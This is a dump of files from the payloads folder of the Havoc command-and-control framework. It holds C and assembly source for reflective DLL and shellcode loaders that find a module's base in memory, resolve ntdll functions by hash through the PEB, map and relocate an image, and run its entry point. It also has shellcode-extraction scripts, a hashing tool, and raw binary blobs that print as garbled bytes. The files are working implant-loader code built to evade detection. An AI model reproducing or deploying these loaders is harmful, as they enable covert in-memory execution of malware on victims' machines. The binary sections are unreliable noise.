myUNICODE_STRING DosPath; HANDLE Handle; } CURDIR, *PCURDIR; #define GDI_HANDLE_BUFFER_SIZE32 34 #define GDI_HANDLE_BUFFER_SIZE64 60 #if !defined(_M_X64) #define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 #else #define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64 #endif typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32]; typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64]; typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; HANDLE SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID EntryInProgress; BOOLEAN ShutdownInProgress; HANDLE ShutdownThreadId; } PEB_LDR_DATA, *PPEB_LDR_DATA; typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; union { BOOLEAN BitField; struct { BOOLEAN ImageUsesLargePages : 1; BOOLEAN IsProtectedProcess : 1; BOOLEAN IsLegacyProcess : 1; BOOLEAN IsImageDynamicallyRelocated : 1; BOOLEAN SkipPatchingUser32Forwarders : 1; BOOLEAN SpareBits : 3; }; }; HANDLE Mutant; PVOID ImageBaseAddress; PPEB_LDR_DATA Ldr; PVOID ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PRTL_CRITICAL_SECTION FastPebLock; PVOID AtlThunkSListPtr; PVOID IFEOKey; union { ULONG CrossProcessFlags; struct { ULONG ProcessInJob : 1; ULONG ProcessInitializing : 1; ULONG ProcessUsingVEH : 1; ULONG ProcessUsingVCH : 1; ULONG ProcessUsingFTH : 1; ULONG ReservedBits0 : 27; }; ULONG EnvironmentUpdateCount; }; union { PVOID KernelCallbackTable; PVOID UserSharedInfoPtr; }; ULONG SystemReserved[1]; ULONG AtlThunkSListPtr32; PVOID ApiSetMap; ULONG TlsExpansionCounter; PVOID TlsBitmap; ULONG TlsBitmapBits[2]; PVOID ReadOnlySharedMemoryBase; PVOID HotpatchInformation; PVOID ReadOnlyStaticServerData; PVOID AnsiCodePageData; PVOID OemCodePageData; PVOID UnicodeCaseTableData; ULONG NumberOfProcessors; ULONG NtGlobalFlag; LARGE_INTEGER CriticalSectionTimeout; SIZE_T HeapSegmentReserve; SIZE_T HeapSegmentCommit; SIZE_T HeapDeCommitTotalFreeThreshold; SIZE_T HeapDeCommitFreeBlockThreshold; ULONG NumberOfHeaps; ULONG MaximumNumberOfHeaps; PVOID ProcessHeaps; PVOID GdiSharedHandleTable; PVOID ProcessStarterHelper; ULONG GdiDCAttributeList; PRTL_CRITICAL_SECTION LoaderLock; ULONG OSMajorVersion; ULONG OSMinorVersion; USHORT OSBuildNumber; USHORT OSCSDVersion; ULONG OSPlatformId; ULONG ImageSubsystem; ULONG ImageSubsystemMajorVersion; ULONG ImageSubsystemMinorVersion; ULONG_PTR ImageProcessAffinityMask; GDI_HANDLE_BUFFER GdiHandleBuffer; PVOID PostProcessInitRoutine; PVOID TlsExpansionBitmap; ULONG TlsExpansionBitmapBits[32]; ULONG SessionId; ULARGE_INTEGER AppCompatFlags; ULARGE_INTEGER AppCompatFlagsUser; PVOID pShimData; PVOID AppCompatInfo; myUNICODE_STRING CSDVersion; PVOID ActivationContextData; PVOID ProcessAssemblyStorageMap; PVOID SystemDefaultActivationContextData; PVOID SystemAssemblyStorageMap; SIZE_T MinimumStackCommit; PVOID FlsCallback; LIST_ENTRY FlsListHead; PVOID FlsBitmap; ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)]; ULONG FlsHighIndex; PVOID WerRegistrationData; PVOID WerShipAssertPtr; PVOID pContextData; PVOID pImageHeaderHash; union { ULONG TracingFlags; struct { ULONG HeapTracingEnabled : 1; ULONG CritSecTracingEnabled : 1; ULONG SpareTracingBits : 30; }; }; } PEB, *PPEB; typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; myUNICODE_STRING FullDllName; myUNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { ULONG TimeDateStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; LIST_ENTRY ForwarderLinks; LIST_ENTRY ServiceTagLinks; LIST_ENTRY StaticLinks; PVOID ContextInformation; ULONG_PTR OriginalBase; LARGE_INTEGER LoadTime; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; havoc-0.6~git20240910.69ce17c/payloads/DllLdr/Scripts/000077500000000000000000000000001467014221700217075ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/payloads/DllLdr/Scripts/extract.py000066400000000000000000000030111467014221700237260ustar00rootroot00000000000000#!/usr/bin/env python3 # -*- coding:utf-8 -*- import sys import struct import argparse def main(options): with open(options.f, 'rb') as f: object_file = f.read() num_sections = struct.unpack(' #include #include DLLEXPORT VOID KaynLoader( LPVOID lpParameter ) { INSTANCE Instance = { 0 }; HMODULE KaynLibraryLdr = NULL; PIMAGE_NT_HEADERS NtHeaders = NULL; PIMAGE_SECTION_HEADER SecHeader = NULL; LPVOID KVirtualMemory = NULL; SIZE_T KMemSize = 0; PVOID SecMemory = NULL; SIZE_T SecMemorySize = 0; ULONG Protection = 0; ULONG OldProtection = 0; PIMAGE_DATA_DIRECTORY ImageDir = NULL; PVOID StartAddress = NULL; DWORD rva = 0; PIMAGE_TLS_DIRECTORY tls = 0; PIMAGE_TLS_CALLBACK *callbacks = NULL; // 0. First we need to get the DLL base StartAddress = RVA2VA( PVOID, KCharStringToWCharString, 0x70 ); KaynLibraryLdr = KaynCaller( StartAddress ); // ------------------------ // 1. Load needed Functions // ------------------------ Instance.Modules.Ntdll = KGetModuleByHash( NTDLL_HASH ); Instance.Win32.LdrLoadDll = KGetProcAddressByHash( &Instance, Instance.Modules.Ntdll, SYS_LDRLOADDLL, 0 ); Instance.Win32.NtAllocateVirtualMemory = KGetProcAddressByHash( &Instance, Instance.Modules.Ntdll, SYS_NTALLOCATEVIRTUALMEMORY, 0 ); Instance.Win32.NtProtectVirtualMemory = KGetProcAddressByHash( &Instance, Instance.Modules.Ntdll, SYS_NTPROTECTEDVIRTUALMEMORY, 0 ); Instance.Win32.NtFlushInstructionCache = KGetProcAddressByHash( &Instance, Instance.Modules.Ntdll, SYS_NTFLUSHINSTRUCTIONCACHE, 0 ); // --------------------------------------------------------------------------- // 2. Allocate virtual memory and copy headers and section into the new memory // --------------------------------------------------------------------------- NtHeaders = RVA2VA( PIMAGE_NT_HEADERS, KaynLibraryLdr, ( ( PIMAGE_DOS_HEADER ) KaynLibraryLdr )->e_lfanew ); KMemSize = NtHeaders->OptionalHeader.SizeOfImage; if ( NT_SUCCESS( Instance.Win32.NtAllocateVirtualMemory( NtCurrentProcess(), &KVirtualMemory, 0, &KMemSize, MEM_COMMIT, PAGE_READWRITE ) ) ) { // ---- Copy Headers into new allocated memory ---- Memcpy(KVirtualMemory, KaynLibraryLdr, NtHeaders->OptionalHeader.SizeOfHeaders); ( ( PIMAGE_NT_HEADERS ) KVirtualMemory )->OptionalHeader.ImageBase = KVirtualMemory; // ---- Copy Sections into new allocated memory ---- SecHeader = IMAGE_FIRST_SECTION( NtHeaders ); for ( DWORD i = 0; i < NtHeaders->FileHeader.NumberOfSections; i++ ) { Memcpy( RVA2VA( PVOID, KVirtualMemory, SecHeader[ i ].VirtualAddress ), // Section New Memory RVA2VA( PVOID, KaynLibraryLdr, SecHeader[ i ].PointerToRawData ), // Section Raw Data SecHeader[ i ].SizeOfRawData // Section Size ); } // ---------------------------------- // 3. Process our images import table // ---------------------------------- ImageDir = & NtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; if ( ImageDir->VirtualAddress ) KResolveIAT( &Instance, KVirtualMemory, RVA2VA( PVOID, KVirtualMemory, ImageDir->VirtualAddress ) ); // ---------------------------- // 4. Process image relocations // ---------------------------- ImageDir = & NtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; if ( ImageDir->VirtualAddress ) KReAllocSections( KVirtualMemory, NtHeaders->OptionalHeader.ImageBase, RVA2VA( PVOID, KVirtualMemory, ImageDir->VirtualAddress ) ); // ---------------------------------- // 5. Set protection for each section // ---------------------------------- SecMemory = KVirtualMemory; SecMemorySize = NtHeaders->OptionalHeader.SizeOfHeaders; Protection = PAGE_READONLY; OldProtection = 0; Instance.Win32.NtProtectVirtualMemory( NtCurrentProcess(), &SecMemory, &SecMemorySize, Protection, &OldProtection ); for ( DWORD i = 0; i < NtHeaders->FileHeader.NumberOfSections; i++ ) { SecMemory = RVA2VA( PVOID, KVirtualMemory, SecHeader[ i ].VirtualAddress ); SecMemorySize = SecHeader[ i ].SizeOfRawData; Protection = 0; OldProtection = 0; if ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) Protection = PAGE_WRITECOPY; if ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) Protection = PAGE_READONLY; if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) ) Protection = PAGE_READWRITE; if ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) Protection = PAGE_EXECUTE; if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) ) Protection = PAGE_EXECUTE_WRITECOPY; if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) ) Protection = PAGE_EXECUTE_READ; if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) ) Protection = PAGE_EXECUTE_READWRITE; Instance.Win32.NtProtectVirtualMemory( NtCurrentProcess(), &SecMemory, &SecMemorySize, Protection, &OldProtection ); } Instance.Win32.NtFlushInstructionCache( NtCurrentProcess(), NULL, 0 ); // ---------------------------------- // 6. Execute TLS callbacks // ---------------------------------- rva = NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress; if ( rva != 0 ) { tls = RVA2VA(PIMAGE_TLS_DIRECTORY, KVirtualMemory, rva); callbacks = (PIMAGE_TLS_CALLBACK*)tls->AddressOfCallBacks; if ( callbacks ) { while( *callbacks != NULL ) { // call function (*callbacks)((LPVOID)KVirtualMemory, DLL_PROCESS_ATTACH, NULL); callbacks++; } } } // -------------------------------- // 7. Finally executing our DllMain // -------------------------------- BOOL ( WINAPI *KaynDllMain ) ( PVOID, DWORD, PVOID ) = RVA2VA( PVOID, KVirtualMemory, NtHeaders->OptionalHeader.AddressOfEntryPoint ); KaynDllMain( KVirtualMemory, DLL_PROCESS_ATTACH, lpParameter ); } } NAKED LPVOID KaynCaller( PVOID StartAddress ) { asm( "start: \n" "xor rbx, rbx \n" "mov ebx, 0x5A4D \n" "loop: \n" "inc rcx \n" "cmp bx, [ rcx ] \n" "jne loop \n" "xor rax, rax \n" "mov ax, [ rcx + 0x3C ] \n" "add rax, rcx \n" "xor rbx, rbx \n" "add bx, 0x4550 \n" "cmp bx, [ rax ] \n" "jne start \n" "mov rax, rcx \n" "ret \n" ); } NAKED VOID Memcpy( PVOID Destination, PVOID source, SIZE_T Size ) { asm( "xor r10, r10 \n" "test r8, r8 \n" "jne copy1 \n" "ret \n" "copy1: \n" "dec r8 \n" "mov r10b, [rdx] \n" "mov [rcx], r10b \n" "inc rdx \n" "inc rcx \n" "test r8, r8 \n" "jne copy1 \n" "ret \n" ); } PVOID KGetModuleByHash( DWORD ModuleHash ) { PLDR_DATA_TABLE_ENTRY LoaderEntry = NULL; PLIST_ENTRY ModuleList = NULL; PLIST_ENTRY NextList = NULL; /* Get pointer to list */ ModuleList = & ( ( PPEB ) PPEB_PTR )->Ldr->InLoadOrderModuleList; NextList = ModuleList->Flink; for ( ; ModuleList != NextList ; NextList = NextList->Flink ) { LoaderEntry = NextList; if ( KHashString( LoaderEntry->BaseDllName.Buffer, LoaderEntry->BaseDllName.Length ) == ModuleHash ) return LoaderEntry->DllBase; } return NULL; } FORCE_INLINE UINT32 CopyDotStr( PCHAR String ) { for ( UINT32 i = 0; i < KStringLengthA( String ); i++ ) { if ( String[ i ] == '.' ) return i; } } PVOID KGetProcAddressByHash( PINSTANCE Instance, PVOID DllModuleBase, DWORD FunctionHash, DWORD Ordinal ) { PIMAGE_NT_HEADERS ModuleNtHeader = NULL; PIMAGE_EXPORT_DIRECTORY ModuleExportedDirectory = NULL; SIZE_T ExportedDirectorySize = 0; PDWORD AddressOfFunctions = NULL; PDWORD AddressOfNames = NULL; PWORD AddressOfNameOrdinals = NULL; PVOID FunctionAddr = NULL; UINT32 Index = 0; ModuleNtHeader = RVA2VA( PIMAGE_NT_HEADERS, DllModuleBase, ( ( PIMAGE_DOS_HEADER ) DllModuleBase )->e_lfanew ); ModuleExportedDirectory = RVA2VA( PIMAGE_EXPORT_DIRECTORY, DllModuleBase, ModuleNtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress ); ExportedDirectorySize = ModuleNtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].Size; AddressOfNames = RVA2VA( PVOID, DllModuleBase, ModuleExportedDirectory->AddressOfNames ); AddressOfFunctions = RVA2VA( PVOID, DllModuleBase, ModuleExportedDirectory->AddressOfFunctions ); AddressOfNameOrdinals = RVA2VA( PVOID, DllModuleBase, ModuleExportedDirectory->AddressOfNameOrdinals ); for ( DWORD i = 0; i < ModuleExportedDirectory->NumberOfNames; i++ ) { if ( KHashString( RVA2VA( PCHAR, DllModuleBase, AddressOfNames[ i ] ), 0 ) == FunctionHash ) { FunctionAddr = RVA2VA( PVOID, DllModuleBase, AddressOfFunctions[ AddressOfNameOrdinals[ i ] ] ); if ( ( ULONG_PTR ) FunctionAddr >= ( ULONG_PTR ) ModuleExportedDirectory && ( ULONG_PTR ) FunctionAddr < RVA2VA( ULONG_PTR, ModuleExportedDirectory, ExportedDirectorySize ) ) { CHAR Library [ MAX_PATH ] = { 0 }; CHAR Function[ MAX_PATH ] = { 0 }; // where is the dot Index = CopyDotStr( FunctionAddr ); // Copy the library from our string Memcpy( Library, FunctionAddr, Index ); // Copy the function from our string Memcpy( Function, RVA2VA( PVOID, FunctionAddr, Index + 1 ), KStringLengthA( RVA2VA( PCHAR, FunctionAddr, Index + 1 ) ) ); DllModuleBase = KLoadLibrary( Instance, Library ); FunctionAddr = KGetProcAddressByHash( Instance, DllModuleBase, KHashString( Function, 0 ), 0 ); } return FunctionAddr; } } return NULL; } VOID KResolveIAT( PINSTANCE Instance, LPVOID KaynImage, LPVOID IatDir ) { PIMAGE_THUNK_DATA OriginalTD = NULL; PIMAGE_THUNK_DATA FirstTD = NULL; PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = NULL; PIMAGE_IMPORT_BY_NAME pImportByName = NULL; PCHAR ImportModuleName = NULL; HMODULE ImportModule = NULL; for ( pImportDescriptor = IatDir; pImportDescriptor->Name != 0; ++pImportDescriptor ) { ImportModuleName = RVA2VA( PCHAR, KaynImage, pImportDescriptor->Name ); ImportModule = KLoadLibrary( Instance, ImportModuleName ); OriginalTD = RVA2VA( PIMAGE_THUNK_DATA, KaynImage, pImportDescriptor->OriginalFirstThunk ); FirstTD = RVA2VA( PIMAGE_THUNK_DATA, KaynImage, pImportDescriptor->FirstThunk ); for ( ; OriginalTD->u1.AddressOfData != 0 ; ++OriginalTD, ++FirstTD ) { if ( IMAGE_SNAP_BY_ORDINAL( OriginalTD->u1.Ordinal ) ) { // TODO: get function by ordinal PVOID Function = KGetProcAddressByHash( Instance, ImportModule, NULL, IMAGE_ORDINAL( OriginalTD->u1.Ordinal ) ); if ( Function != NULL ) FirstTD->u1.Function = Function; } else { pImportByName = RVA2VA( PIMAGE_IMPORT_BY_NAME, KaynImage, OriginalTD->u1.AddressOfData ); DWORD FunctionHash = KHashString( pImportByName->Name, KStringLengthA( pImportByName->Name ) ); LPVOID Function = KGetProcAddressByHash( Instance, ImportModule, FunctionHash, 0 ); if ( Function != NULL ) FirstTD->u1.Function = Function; } } } } VOID KReAllocSections( PVOID KaynImage, PVOID ImageBase, PVOID BaseRelocDir ) { PIMAGE_BASE_RELOCATION pImageBR = (PIMAGE_BASE_RELOCATION)BaseRelocDir; LPVOID OffsetIB = C_PTR( U_PTR( KaynImage ) - U_PTR( ImageBase ) ); PIMAGE_RELOC Reloc = NULL; while( pImageBR->VirtualAddress != 0 ) { Reloc = ( PIMAGE_RELOC ) ( pImageBR + 1 ); while ( ( PBYTE ) Reloc != ( PBYTE ) pImageBR + pImageBR->SizeOfBlock ) { if ( Reloc->type == IMAGE_REL_TYPE ) *( ULONG_PTR* ) ( U_PTR( KaynImage ) + pImageBR->VirtualAddress + Reloc->offset ) += ( ULONG_PTR ) OffsetIB; else if ( Reloc->type != IMAGE_REL_BASED_ABSOLUTE ) __debugbreak(); // TODO: handle this error Reloc++; } pImageBR = ( PIMAGE_BASE_RELOCATION ) Reloc; } } PVOID KLoadLibrary( PINSTANCE Instance, LPSTR ModuleName ) { if ( ! ModuleName ) return NULL; UNICODE_STRING UnicodeString = { 0 }; WCHAR ModuleNameW[ MAX_PATH ] = { 0 }; DWORD dwModuleNameSize = KStringLengthA( ModuleName ); HMODULE Module = NULL; KCharStringToWCharString( ModuleNameW, ModuleName, dwModuleNameSize ); if ( ModuleNameW ) { USHORT DestSize = KStringLengthW( ModuleNameW ) * sizeof( WCHAR ); UnicodeString.Length = DestSize; UnicodeString.MaximumLength = DestSize + sizeof( WCHAR ); } UnicodeString.Buffer = ModuleNameW; if ( NT_SUCCESS( Instance->Win32.LdrLoadDll( NULL, 0, &UnicodeString, &Module ) ) ) return Module; else return NULL; } /* --------------------------------- ---- String & Data functions ---- --------------------------------- */ DWORD KHashString( PVOID String, SIZE_T Length ) { ULONG Hash = HASH_KEY; PUCHAR Ptr = String; do { UCHAR character = *Ptr; if ( ! Length ) { if ( !*Ptr ) break; } else { if ( (ULONG) ( Ptr - (PUCHAR)String ) >= Length ) break; if ( !*Ptr ) ++Ptr; } if ( character >= 'a' ) character -= 0x20; Hash = ( ( Hash << 5 ) + Hash ) + character; ++Ptr; } while ( TRUE ); return Hash; } SIZE_T KStringLengthA( LPCSTR String ) { LPCSTR String2 = String; for (String2 = String; *String2; ++String2); return (String2 - String); } SIZE_T KStringLengthW(LPCWSTR String) { LPCWSTR String2; for (String2 = String; *String2; ++String2); return (String2 - String); } SIZE_T KCharStringToWCharString( PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed ) { INT Length = MaximumAllowed; while (--Length >= 0) { if (!(*Destination++ = *Source++)) return MaximumAllowed - Length - 1; } return MaximumAllowed - Length; } havoc-0.6~git20240910.69ce17c/payloads/DllLdr/makefile000066400000000000000000000010531467014221700217570ustar00rootroot00000000000000CCX64 = x86_64-w64-mingw32-gcc CCX86 = i686-w64-mingw32-gcc INCLUDE = -I Include OPTIONS = -w -Wall -Wextra -masm=intel -fPIC -fno-asynchronous-unwind-tables $(INCLUDE) EXECUTABLE_X64 = DllLdr.x64.o RAWBINARY_X64 = ../DllLdr.x64.bin all: x64 x64: clean @ echo "[*] Compile x64 object file..." @ $(CCX64) -c Source/Entry.c -o $(EXECUTABLE_X64) $(OPTIONS) @ echo "[*] Extract shellcode: $(RAWBINARY_X64)" @ python3 Scripts/extract.py -f $(EXECUTABLE_X64) -o $(RAWBINARY_X64) @ rm $(EXECUTABLE_X64) clean: @ rm -rf Bin/*.o @ rm -rf Bin/*.bin havoc-0.6~git20240910.69ce17c/payloads/Shellcode.x64.bin000066400000000000000000000027771467014221700221340ustar00rootroot00000000000000VHHH H^f.AW1 AVAUATUWVSHH|$XHD$@D$8HD$HHD$PD$<?SpIbCjEIH츃L(PLHMcn #include UINT_PTR GetRIP( VOID ); LPVOID KaynCaller(); VOID KaynLdrReloc( PVOID KaynImage, PVOID ImageBase, PVOID BaseRelocDir, DWORD KHdrSize ); #define PAGE_SIZE 4096 #define MemCopy __builtin_memcpy #define NTDLL_HASH 0x70e61753 #define SYS_LDRLOADDLL 0x9e456a43 #define SYS_NTALLOCATEVIRTUALMEMORY 0xf783b8ec #define SYS_NTPROTECTEDVIRTUALMEMORY 0x50e92888 typedef struct { WORD offset :12; WORD type :4; } *PIMAGE_RELOC; typedef struct { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } U_STRING, *PU_STRING; typedef struct { struct { UINT_PTR Ntdll; } Modules; struct { NTSTATUS ( NTAPI *LdrLoadDll )( PWSTR DllPath, PULONG DllCharacteristics, PU_STRING DllName, PVOID *DllHandle ); NTSTATUS ( NTAPI *NtAllocateVirtualMemory ) ( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect ); NTSTATUS ( NTAPI *NtProtectVirtualMemory ) ( HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect ); } Win32; } INSTANCE, *PINSTANCE; #pragma pack(1) typedef struct { PVOID KaynLdr; PVOID DllCopy; PVOID Demon; DWORD DemonSize; PVOID TxtBase; DWORD TxtSize; } KAYN_ARGS, *PKAYN_ARGS; havoc-0.6~git20240910.69ce17c/payloads/Shellcode/Include/Macro.h000066400000000000000000000007221467014221700236030ustar00rootroot00000000000000 #include #ifdef _WIN64 #define PPEB_PTR __readgsqword( 0x60 ) #else #define PPEB_PTR __readfsdword( 0x30 ) #endif #define SEC( s, x ) __attribute__( ( section( "." #s "$" #x "" ) ) ) #define U_PTR( x ) ( ( UINT_PTR ) x ) #define C_PTR( x ) ( ( LPVOID ) x ) #define NtCurrentProcess() ( HANDLE ) ( ( HANDLE ) - 1 ) #define GET_SYMBOL( x ) ( ULONG_PTR )( GetRIP( ) - ( ( ULONG_PTR ) & GetRIP - ( ULONG_PTR ) x ) )havoc-0.6~git20240910.69ce17c/payloads/Shellcode/Include/Utils.h000066400000000000000000000001141467014221700236350ustar00rootroot00000000000000#include UINT_PTR HashString( LPVOID String, UINT_PTR Length );havoc-0.6~git20240910.69ce17c/payloads/Shellcode/Include/Win32.h000066400000000000000000000002251467014221700234420ustar00rootroot00000000000000#include #include UINT_PTR LdrModulePeb( UINT_PTR hModuleHash ); PVOID LdrFunctionAddr( UINT_PTR hModule, UINT_PTR ProcHash );havoc-0.6~git20240910.69ce17c/payloads/Shellcode/Scripts/000077500000000000000000000000001467014221700224345ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/payloads/Shellcode/Scripts/Hasher000077500000000000000000000372701467014221700236050ustar00rootroot00000000000000ELF>P@87@8 @@@@hhYY -==PX-==888@@xxxDDStd888@@Ptd 44QtdRtd-==/lib64/ld-linux-x86-64.so.20GNUGNU3u7 mVEOX?))GNUR "*n } "__cxa_finalize__libc_start_maintoupperprintflibc.so.6GLIBC_2.2.5GLIBC_2.34_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTable1ui ;G=@=0@0@?????@ @HH/HtH5/%/@%/h%/h1I^HHPTE11H=nc/f.H=/H/H9tHF/Ht H=/H5z/H)HH?HHHtH/HtfD==/u3UH=.Ht H=/.c/]f.ff.@gUHH}HEHEHHHEH‹EHHHEHEHPHUE}uHE]UHH H}HEHEHEoHEHEHEuאUHH}Hu}PHEHHHHEHHH*HHEHHHH HǸHH [+] Hashed %s ==> 0x%x ;4h0P)zzRx &D$40FJ w?;*3$"\QAC L |CAC ~ nAC i @1  L==o @08x ooHoo8o=6F0@GCC: (GNU) 11.2.0  (*=S8@_=@=!= @ i (@3G8@NLTg(@t 0@ IQ@@mP&8@n8@ " Cabi-note.c__abi_taginit.ccrtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.0__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entryHasher.c__FRAME_END___DYNAMIC__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_start_main@GLIBC_2.34_ITM_deregisterTMCloneTabletoupper@GLIBC_2.2.5_edata_finiprintf@GLIBC_2.2.5__data_start__gmon_start____dso_handle_IO_stdin_usedHash_end__bss_startmain__TMC_END___ITM_registerTMCloneTable__cxa_finalize@GLIBC_2.2.5_initToUpperString.symtab.strtab.shstrtab.interp.note.gnu.property.note.gnu.build-id.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.got.got.plt.data.bss.comment#88@6xx$I Woa iqo88~oHH0xxB880  0PPLL   4X X =-=-=-?/(@0((@(08@80 080P0 46havoc-0.6~git20240910.69ce17c/payloads/Shellcode/Scripts/Hasher.c000066400000000000000000000007701467014221700240160ustar00rootroot00000000000000#include #include long Hash( char* String ) { unsigned long Hash = 5381; int c; while (c = *String++) Hash = ((Hash << 5) + Hash) + c; return Hash; } void ToUpperString(char * temp) { // Convert to upper case char *s = temp; while (*s) { *s = toupper((unsigned char) *s); s++; } } int main(int argc, char** argv) { if (argc < 2) return 0; ToUpperString(argv[1]); printf("\n[+] Hashed %s ==> 0x%x\n\n", argv[1], Hash( argv[1] )); return 0; } havoc-0.6~git20240910.69ce17c/payloads/Shellcode/Scripts/Linker.ld000066400000000000000000000002041467014221700241750ustar00rootroot00000000000000SECTIONS { .text : { *( .text$A ) *( .text$B ) *( .text$C ) *( .text$D ) *( .text$E ) *( .rdata* ) *( .text$F ) } }havoc-0.6~git20240910.69ce17c/payloads/Shellcode/Scripts/extract.py000066400000000000000000000015621467014221700244640ustar00rootroot00000000000000#!/usr/bin/env python3 # -*- coding:utf-8 -*- import pefile import argparse if __name__ in '__main__': try: parser = argparse.ArgumentParser( description = 'Extracts shellcode from a PE.' ); parser.add_argument( '-f', required = True, help = 'Path to the source executable', type = str ); parser.add_argument( '-o', required = True, help = 'Path to store the output raw binary', type = str ); option = parser.parse_args(); PeExe = pefile.PE( option.f ); PeSec = PeExe.sections[0].get_data(); if PeSec.find( b'ENDOFCODE' ) != None: ScRaw = PeSec[ : PeSec.find( b'ENDOFCODE' ) ]; f = open( option.o, 'wb+' ); f.write( ScRaw ); f.close(); else: print('[!] error: no ending tag'); except Exception as e: print( '[!] error: {}'.format( e ) ); havoc-0.6~git20240910.69ce17c/payloads/Shellcode/Source/000077500000000000000000000000001467014221700222455ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/payloads/Shellcode/Source/Asm/000077500000000000000000000000001467014221700227655ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/payloads/Shellcode/Source/Asm/x64/000077500000000000000000000000001467014221700234065ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/payloads/Shellcode/Source/Asm/x64/Asm.s000066400000000000000000000014231467014221700243120ustar00rootroot00000000000000extern Entry global Start global GetRIP global KaynCaller section .text$A Start: push rsi mov rsi, rsp and rsp, 0FFFFFFFFFFFFFFF0h sub rsp, 020h call Entry mov rsp, rsi pop rsi ret section .text$F KaynCaller: call caller caller: pop rcx loop: xor rbx, rbx mov ebx, 0x5A4D inc rcx cmp bx, [ rcx ] jne loop xor rax, rax mov ax, [ rcx + 0x3C ] add rax, rcx xor rbx, rbx add bx, 0x4550 cmp bx, [ rax ] jne loop mov rax, rcx ret GetRIP: call retptr retptr: pop rax sub rax, 5 ret havoc-0.6~git20240910.69ce17c/payloads/Shellcode/Source/Asm/x86/000077500000000000000000000000001467014221700234125ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/payloads/Shellcode/Source/Asm/x86/Asm.s000066400000000000000000000014371467014221700243230ustar00rootroot00000000000000 [BITS 32] extern _Entry global _Start global _GetRIP global _KaynCaller section .text$A _Start: push esi mov esi, esp and esp, 0FFFFFFF0h sub esp, 020h call _Entry mov esp, esi pop esi ret section .text$F _KaynCaller: call caller caller: pop ecx loop: xor ebx, ebx mov ebx, 0x5A4D inc ecx cmp bx, [ ecx ] jne loop xor eax, eax mov ax, [ ecx + 0x3C ] add eax, ecx xor ebx, ebx add bx, 0x4550 cmp bx, [ eax ] jne loop mov eax, ecx ret _GetRIP: call retptr retptr: pop eax sub eax, 5 ret havoc-0.6~git20240910.69ce17c/payloads/Shellcode/Source/Entry.c000066400000000000000000000133611467014221700235160ustar00rootroot00000000000000#include #include #include #ifdef _WIN64 #define IMAGE_REL_TYPE IMAGE_REL_BASED_DIR64 #else #define IMAGE_REL_TYPE IMAGE_REL_BASED_HIGHLOW #endif SEC( text, B ) VOID Entry( VOID ) { INSTANCE Instance = { 0 }; HMODULE KaynLibraryLdr = NULL; PIMAGE_NT_HEADERS NtHeaders = NULL; PIMAGE_SECTION_HEADER SecHeader = NULL; LPVOID KVirtualMemory = NULL; DWORD KMemSize = 0; DWORD KHdrSize = 0; PVOID 